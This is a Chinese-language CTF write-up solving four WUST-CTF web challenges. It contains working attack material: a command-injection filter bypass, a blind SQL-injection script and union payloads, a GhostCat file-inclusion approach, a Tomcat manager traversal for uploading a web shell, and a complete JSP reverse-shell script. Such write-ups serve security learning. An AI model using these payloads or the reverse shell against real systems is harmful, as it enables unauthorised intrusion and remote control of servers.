周末放假忙里偷閑打了兩場比賽,其中一場就是武漢科技大學的WUST-CTF新生賽,雖說是新生賽,題目質量還是相當不錯的。最后有幸拿了總排第5,記錄一下Web的題解。
checkin
進入題目詢問題目作者昵稱,在題面里可以看到是52HeRtz,但是發現題目輸入框只能輸入3個字符,並且按鈕是灰色的
直接F12審查元素去掉maxlength以及disable兩個屬性,輸入作者昵稱即可
彈出作者的博客地址,跟進去
在作者博客首頁可以看到一部分Flag:
根據提示“遠古的博客”,找到一篇1970年的文章,文章末尾有后半段Flag:
User-agent: *
Disallow: /fAke_f1agggg.php
根據提示進入/fAke_f1agggg.php,在Header中發現fl4g.php,訪問得到源碼:
<?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); //level 1 if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不經意間看了看我的勞力士, 不是想看時間, 只是想不經意間, 讓你知道我過得比你好.</br>"; }else{ die("金錢解決不了窮人的本質問題"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到這個CTFer拿到flag后, 感激涕零, 跑去東瀾岸, 找一家餐廳, 把廚師轟出去, 自己炒兩個拿手小菜, 倒一杯散裝白酒, 致富有道, 別學小暴.</br>"; else die("我趕緊喊來我的酒肉朋友, 他打了個電話, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到這里, 我充實而欣慰, 有錢人的快樂往往就是這么的朴實無華, 且枯燥.</br>"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?>
第一層:利用PHP弱類型 num=202.0e8
官方Wp解析:這個比較常見了,intval() 在處理16進制時存在問題,但強制轉換時是正常的,intval(字符串)為0,但是intval(字符串+1) 會自動轉換成數值的,php7里面修復了這個東西,這里輸入 0x1234 即可繞過。
第二層:爆破Md5,要求明文必須為0e開頭,md5值必須為0e開頭,並且0e后必須為純數字,寫個腳本慢慢爆破吧:
import hashlib def md5_enc(s): m = hashlib.md5() m.update(str(s).encode('utf-8')) return m.hexdigest() for i in range(0,9999999999): i = '0e' + str(i) enc = md5_enc(i) print(i+" md5 is "+enc) #md5值前兩位為0e if enc[:2] == "0e": #md5值0e后為純數字 if enc[2:].isdigit(): result.append(i) print("Got Result:"+i) break
跑了40分鍾得到一個值:md5 = 0e215962017
第三層:可以用\的方式繞過對Cat的檢測,用 $IFS$9 來代替空格(也可以用more head等語句代替cat讀取文件,方法太多)
ca\t$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
得到Flag:
wctf2020{s1mple_php_1s_v3ry_e@sy_and_here_1s_y0ur_stupid_flag_wish_u_h@ve_@_go0d_time_enj0y_1t}
easyweb
進入題目發現是一個可以上傳文件並下載的網站:
簡單測試一下發現是Tomcat/8.5.42,並且8009端口開放,很容易聯想到前段時間爆出的tomcat幽靈貓(GhostCat) CVE-2020-1938.
最大的難點在於exp腳本大多都是文件讀取的,沒有文件包含的比較少,分享一個:
鏈接:https://pan.baidu.com/s/101wFmK1J0OGYRC383fdBBA
提取碼:xg4s
利用思路就是在12121端口的上傳點傳入jsp木馬,然后再利用幽靈貓的exp從8009端口包含jsp木馬,包含的時候木馬也就會被服務器解析,從而GetShell
分享一個隊里師傅用的反彈Shell的jsp腳本:
<%@page import="java.lang.*"%> <%@page import="java.util.*"%> <%@page import="java.io.*"%> <%@page import="java.net.*"%> <% class StreamConnector extends Thread { InputStream pp; OutputStream qk; StreamConnector( InputStream pp, OutputStream qk ) { this.pp = pp; this.qk = qk; } public void run() { BufferedReader qe = null; BufferedWriter ihb = null; try { qe = new BufferedReader( new InputStreamReader( this.pp ) ); ihb = new BufferedWriter( new OutputStreamWriter( this.qk ) ); char buffer[] = new char[8192]; int length; while( ( length = qe.read( buffer, 0, buffer.length ) ) > 0 ) { ihb.write( buffer, 0, length ); ihb.flush(); } } catch( Exception e ){} try { if( qe != null ) qe.close(); if( ihb != null ) ihb.close(); } catch( Exception e ){} } } try { String ShellPath; if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) { ShellPath = new String("/bin/sh"); } else { ShellPath = new String("cmd.exe"); } Socket socket = new Socket( "IP", 6666 ); Process process = Runtime.getRuntime().exec( ShellPath ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} %>
執行效果如下:
(想復現的時候環境出了問題,反彈Shell會連接重置,所以直接從官方Wp借了一張圖)
可以在根目錄上找到 flaaaag 目錄,目錄里有 what_you_want 文件,執行命令 cat /flaaaag/what_you_want 即可讀到flag:
wctf2020{0h_you_are_amazing_babyyyy}
顏值成績查詢
進入題目發現是一個查詢成績的頁面,明顯的SQL注入:
fuzz了一下發現過濾了 空格、union
簡單繞過,用/**/替代空格,雙寫union即可繞過過濾,貼上隊里forever404師傅的exp:
#database = ctf #table_one = flag #table_two = score #column_one = flag #column_two = value import requests url = 'http://101.200.53.102:10114/?stunum=0/**/or/**/ascii(substr((select/**/value/**/from/**/flag),{},1))={}#' flag = '' for m in range(1,50): for n in range(48,126): res = requests.get(url.format(m,n)) if 'admin' in res.text: flag += chr(n) print(chr(n)) break if n==125 and 'admin' not in res.text: break print(flag)
也可以聯合注入:
數據庫:0/**/uniunionon/**/select/**/1,database(),version()# 表:0/**/uniunionon/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()# 列名:0/**/uniunionon/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167# 字段:0/**/uniunionon/**/select/**/1,flag,value/**/from/**/flag#
得到Flag:
wctf2020{e@sy_sq1_and_y0u_sc0re_1t}
train yourself to be godly
本次比賽Web唯一沒有做出來的一道題,但是就差最后一步,比賽結束了,有點遺憾,隊里的guoke師傅最后10分鍾成為了本題的唯一解出
賽后復現一下,填滿遺憾吧- -||
這里放出隊里guoke師傅的WriteUp(guoke別說我偷你wp了,注明作者了!!!):
根據官方給出的BlackHat議題PPT可以得知利用 ..;/ 可以穿越目錄:
tomcat@tomcat弱口令進入manager/html 在進行用戶名密碼驗證的時候。發現會返回一個cookie。但是后面請求又沒有帶上這個cookie。
並且,在本地復現tomcat war包getshell時,發現HTTP請求中都帶了HTTP authorxxxxx的認證 帶上cookie和HTTP頭認證后上傳后發現還是403。
猜測和返回cookie的path有關。因為正常情況。直接訪問/manager返回path=/manager。而我是通過目錄遍歷訪問的。所以將path也改為/..;/manager
在部署的時候加上之前的SESSION,即可成功上傳並訪問木馬:
得到Flag:
wctf2020{th1s_1s_th3_m0st_e@sy_web}